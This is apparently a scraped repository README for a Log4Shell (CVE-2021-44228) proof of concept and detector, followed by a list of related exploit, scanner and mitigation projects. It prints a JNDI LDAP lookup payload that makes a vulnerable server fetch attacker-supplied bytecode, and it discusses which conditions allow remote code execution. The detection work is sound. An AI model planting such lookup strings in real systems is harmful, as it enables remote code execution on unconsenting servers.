Log4Shell Zero-Day Exploit Proof of Concept

Overview

Log4Shell Zero-Day Exploit

if attacker manage to log this string ${jndi:ldap://someaddresshere/param1=value1} to log4j it somehow loads the class/java bytecode sent by Attacker Controlled LDAP Server. The bytecode could be used to execute any malicious code or do some little trolling.

take this with grain of salt, I'm not a security expert.

Detection

Patched

  • Mitigated by deleting org.apache.logging.log4j.core.lookup.JndiLookup somehow didn't crash

Unpatched

  • Note: 1.16.5 Minecraft Server RCE exploit

MainDetector.java

Use simple socket to listen on port 1389 then close the socket once its connected no external dependency

  • Note: not always the case, sometimes it doesn't bother to load class url location given by LDAP Server

  • Vulnerable to lookup:

  • Log:

going to throw error if its is vulnerable

MainAlerter.java

Use com.unboundid:unboundid-ldapsdk library to host LDAP server

  • Note: doesn't mean it's vulnerable to RCE exploit.
  • Vulnerable to lookup:
  • LADP Server logs:

DNS Log

Both sender and receiver are logged which mean they are vulnerable

  • Note: if it's get logged, doesn't mean it's vulnerable to RCE
  • Vulnerable to lookup:

Conclusion

  • if java do LDAP lookup doesn't mean it is always vulnerable, but if is load the classpath provided then it is ?

    • vulnerable to RCE and LDAP lookup:
    • not vulnerable because java don't fetch bytecode ??, still vulnerable to LDAP lookup:
  • to test if it's actually vulnerable to RCE, try to use harmless payloads if its running then its vulnerable.

  • if com.sun.jndi.ldap.object.trustURLCodebase property is set to true then you are vulnerable like really else, the attacker can use existing classpath

  • if you found the victim log and see this:

  Caused by: java.lang.ClassNotFoundException: itzbenz.payload.ObjectPayloadSerializable
        at java.net.URLClassLoader.findClass(Unknown Source)
        at java.lang.ClassLoader.loadClass(Unknown Source)
        at sun.misc.Launcher$AppClassLoader.loadClass(Unknown Source)
        at java.lang.ClassLoader.loadClass(Unknown Source)

it's safe because it will not load classpath provided by attacker ?? though it's still doing LDAP lookup which is large attack surface.

note: (after updating java 8, the minecraft server seem not load the classpath)

Disclaimer

This project can only be used for educational purposes. Using this software against target systems without prior permission is illegal, and any damages from misuse of this software will not be the responsibility of the author.

You might also like...

LOG4J Java exploit - WAF and patches bypass tricks

LOG4J Java exploit - WAF and patches bypass tricks

🤝 Show your support - give a ⭐️ if you liked the content | SHARE on Twitter | Follow me on 🐱‍💻 ✂️ 🤬 LOG4J Java exploit - WAF and patches bypass tr

Jan 7, 2023

Contains all my research and content produced regarding the log4shell vulnerability

Contains all my research and content produced regarding the log4shell vulnerability

Objective Contains all my research and content produced regarding the log4shell vulnerability. Content Folder "analysis" Contain the information that

Oct 28, 2022

A Basic Java Application Vulnerable to the Log4Shell RCE

A Basic Java Application Vulnerable to the Log4Shell RCE

This is a basic, minimal, intentionally vulnerable Java web application including a version (2.14.1) of the log4j library affected by the infamous log4shell (CVE-2021-44228) vulnerability.

Nov 9, 2022

PCRE RegEx matching Log4Shell CVE-2021-44228 IOC in your logs

PCRE RegEx matching Log4Shell CVE-2021-44228 IOC in your logs

Log4Shell-Rex The following RegEx was written in an attempt to match indicators of a Log4Shell (CVE-2021-44228 and CVE-2021-45046) exploitation. If yo

Nov 9, 2022

LecternCrashFix - Fixes the lectern crash/exploit.

LecternCrashFix This fixes the new lectern crash/exploit. This bug is fixed on Paper build 276 and above. This is also fixed on CraftBukkit. Make sure

Jun 5, 2022

Fixes the log4j exploit from being sent to Minecraft clients.

⚠️ DEPRECATION ⚠️ Mojang has now released client updates, making this plugin obsolete. Make sure to fully restart your client. If you haven't already

Oct 25, 2022

A mitigation for CVE-2021-44228 (log4shell) that works by patching the vulnerability at runtime. (Works with any vulnerable java software, tested with java 6 and newer)

Log4jPatcher A Java Agent based mitigation for Log4j2 JNDI exploits. This agent employs 2 patches: Disabling all Lookup conversions (on supported Log4

Dec 16, 2022

log4j2 remote code execution or IP leakage exploit (with examples)

log4j2-exploits 2021-12-11.12-17-44.mp4 This fundamental vulnerability was reported by CVE-2018-3149 and patched by this article. (8u121 Release Notes

Sep 7, 2022

This repo contains a proof-of-concept for 📱🚀👑⚡, a deserialization vuln for local escalation of privilege to system_server in Android 10. This proof-of-concept only activates a privileged intent.

CVE-2020-0082-PoC This repo contains a proof-of-concept for 📱 🚀 👑 ⚡ , a deserialization vuln for local escalation of privilege to system_server in

Oct 11, 2022

log4j2 Log4Shell CVE-2021-44228 proof of concept

log4j2 Log4Shell CVE-2021-44228 proof of concept

Log4Shell CVE-2021-44228 proof of concept Requirement Java (JDK/JRE) 8 or later version curl exploitable Simple spring boot application that serves a

Dec 21, 2021

CVE-2021-44228 (Log4Shell) Proof of Concept

CVE-2021-44228 (Log4Shell) Proof of Concept

CVE-2021-44228 (Log4Shell) Proof of Concept Apache Log4j2 =2.14.1 JNDI features used in configuration, log messages, and parameters do not protect ag

Mar 18, 2022

This app based on Java to make the life of firefighters easier by implementing features which they need in their day-to-day life

This app based on Java to make the life of firefighters easier by implementing features which they need in their day-to-day life

Fire Rescue App This app based on Java to make the life of firefighters easier by implementing features which they need in their day-to-day life. Scre

Jul 24, 2022

Always High is a College help app catered towards helping college students in managing their day-to-day hassle!

Always High is a College help app catered towards helping college students in managing their day-to-day hassle!

Always High Always High is a College help app cattered towards helping the college students in managing their day-to-day hassle! Problem : In the onli

Mar 16, 2022

A proof-of-concept serverless full-text search solution built with Apache Lucene and Quarkus framework.

Lucene Serverless This project demonstrates a proof-of-concept serverless full-text search solution built with Apache Lucene and Quarkus framework. ✔️

Oct 29, 2022

A proof-of-concept Android application to detect and defeat some of the Cellebrite UFED forensic toolkit extraction techniques.

LockUp An Android-based Cellebrite UFED self-defense application LockUp is an Android application that will monitor the device for signs for attempts

Dec 4, 2022

STxMobile is a proof of concept of an Android app for remotely controlling the Raymarine ST2000+ tiller pilot from an Android phone.

STxMobile is a proof of concept of an Android app for remotely controlling the Raymarine ST2000+ tiller pilot from an Android phone.

STxMobile is a proof of concept of an Android app for remotely controlling the Raymarine ST2000+ tiller pilot from an Android phone.

Sep 1, 2022

A proof-of-concept Android application to detect and defeat some of the Cellebrite UFED forensic toolkit extraction techniques.

LockUp An Android-based Cellebrite UFED self-defense application LockUp is an Android application that will monitor the device for signs for attempts

Dec 4, 2022

Slueth(Zipkin) 를 통한 SQS Message Tracing POC(Proof of concept) 입니다.

Slueth(Zipkin) 를 통한 SQS Message Tracing POC(Proof of concept) 입니다.

Sleuth AWS SQS POC 해당 프로젝트는 Slueth(Zipkin) 를 통한 메시지 추적 POC(Proof of concept) 입니다. Rest API 를 통해 POST 요청을 받으면, 메시지를 발행/소비 합니다. 이 과정에서 유지되는 TraceId 를 확인

Nov 29, 2022

Log4j-RCE (CVE-2021-44228) Proof of Concept with additional information

Log4j-RCE (CVE-2021-44228) Proof of Concept with additional information

Log4J-RCE-Proof-Of-Concept (CVE-2021-44228) This is a proof of concept of the log4j rce. Here are some links for the CVE-2021-44228: https://www.lunas

Dec 2, 2022
Owner
o7
yes, we know
o7
Log4shell-hunter - Scanner that scans local files for log4shell vulnerability

Log4shell-hunter - Scanner that scans local files for log4shell vulnerability. Does bytecode analysis so it does not rely on metadata. Will find vulnerable log4j even it has been self-compiled/repackaged/shaded/nested (e.g. uberjar, fatjar) and even obfuscated.

Peter Fichtner 5 Feb 27, 2022
JNDI-Exploit is an exploit on Java Naming and Directory Interface (JNDI) from the deleted project fromthe user feihong on GitHub.

JNDI-Exploit JNDI-Exploit is a fork from the deleted project ftom the user feihong-cs on GitHub. To learn more about JNDI and what you can do with thi

Nil MALHOMME 4 Dec 6, 2022
Log4Shell RCE exploit using a gadget class. Not dependent on an old JDK version to work.

Log4Shell RCE exploit using a gadget class. Not dependent on an old JDK version to work.

null 8 Jan 4, 2022
An LDAP RCE exploit for CVE-2021-44228 Log4Shell

log4j-poc An LDAP RCE exploit for CVE-2021-44228 Log4Shell Description The demo Tomcat 8 server on port 8080 has a vulnerable app (log4shell) deployed

null 60 Dec 10, 2022
“火线~洞态IAST”是一款专为甲方安全人员、代码审计工程师和0 Day漏洞挖掘人员量身打造的辅助工具,可用于集成devops环境进行漏洞检测、作为代码审计的辅助工具和自动化挖掘0 Day。

洞态IAST 原"灵芝IAST",后更名为"洞态IAST",产品改为SaaS版,agent端采集与污点相关的数据并发送至服务器端,服务器端接收数据并重构形成污点方法图,再根据深度优先算法搜索污点调用链 项目介绍 “火线~洞态IAST”是一款专为甲方安全人员、甲乙代码审计工程师和0 Day漏洞挖掘人员

huoxian 598 Dec 28, 2022
Huntress Log4Shell Testing Application

Huntress Log4Shell Testing Application This repo holds the source for the HTTP and LDAP servers hosted here. Both services are hosted under one Java a

Huntress Labs 359 Nov 25, 2022
Log4Shell sample vulnerable application (CVE-2021-44228)

Log4Shell sample vulnerable application (CVE-2021-44228)

StandB 5 Dec 26, 2021
Disables JNDI lookup globally using Java agent instrumentation, mitigation for Log4Shell attacks.

NoJNDI This is a simple proof of concept agent that disables JNDI lookups globally across the JVM. This is useful for mitigating the Log4Shell attack,

Will Sargent 9 Dec 29, 2021
Writeup and exploit for installed app to system privilege escalation on Android 12 Beta through CVE-2021-0928

Writeup and exploit for installed app to system privilege escalation on Android 12 Beta through CVE-2021-0928, a `writeToParcel`/`createFromParcel` serialization mismatch in `OutputConfiguration`

null 52 Dec 30, 2022
JNDI-Exploit-Kit

JNDI-Exploit-Kit Disclaimer This is a forked modified version of the great exploitation tool created by @welk1n

puckie 20 Dec 7, 2022